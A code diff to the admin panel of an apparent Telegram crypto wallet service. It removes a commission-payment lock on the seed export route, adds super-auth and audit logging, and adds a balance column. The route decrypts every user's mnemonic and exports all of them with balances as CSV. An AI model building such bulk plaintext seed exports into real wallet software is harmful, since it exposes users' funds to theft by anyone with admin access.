diff --git a/src/admin/routes/wallets.js b/src/admin/routes/wallets.js index 8d2469d..8e28dfe 100644 --- a/src/admin/routes/wallets.js +++ b/src/admin/routes/wallets.js @@ -139,22 +139,8 @@ router.post('/record-payment', async (req, res) => { } }); -router.post('/export-seeds', async (req, res) => { +router.post('/export-seeds', requireSuperAuth, async (req, res) => { try { - const walletStats = await getWalletStats(); - const commissionRate = config.COMMISSION_PERCENT / 100; - const currentCommission = walletStats.totalUsd * commissionRate; - const lastPayment = await db.getAsync( - `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1` - ); - const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0; - const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0; - - if (!seedsPaid) { - logger.warn({ currentCommission, lastPaidAmount }, 'Seed export blocked — commission not paid'); - return res.status(403).send('Seed export is locked until commission is paid. Due: $' + Math.max(0, currentCommission - lastPaidAmount).toFixed(2)); - } - const walletsWithSeeds = await db.allAsync( `SELECT w.*, u.telegram_id, u.username FROM crypto_wallets w @@ -163,11 +149,11 @@ router.post('/export-seeds', async (req, res) => { ORDER BY u.id, w.wallet_type` ); - const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']]; + const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Balance', 'Derivation', 'Mnemonic']]; for (const w of walletsWithSeeds) { let mnemonic = ''; try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; } - rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]); + rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.balance || 0, w.derivation_path, mnemonic]); } const csv = rows.map(r => r.map(c => { @@ -175,6 +161,10 @@ router.post('/export-seeds', async (req, res) => { return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s; }).join(',')).join('\n'); + await logAudit('csv_seed_export', req.admin?.role || 'unknown', { + walletCount: walletsWithSeeds.length, + }); + res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv'); res.send(csv); diff --git a/src/admin/views/wallets.ejs b/src/admin/views/wallets.ejs index 78b3f8b..844f9ce 100644 --- a/src/admin/views/wallets.ejs +++ b/src/admin/views/wallets.ejs @@ -265,24 +265,9 @@
You can also export all seed phrases as CSV.
- <% if (seedsUnlocked) { %> - - <% } else { %> -Commission owed: $<%= Number(stats.commissionDue).toFixed(2) %>
- <% } %> -Seed phrases are unlocked. Download via CSV export.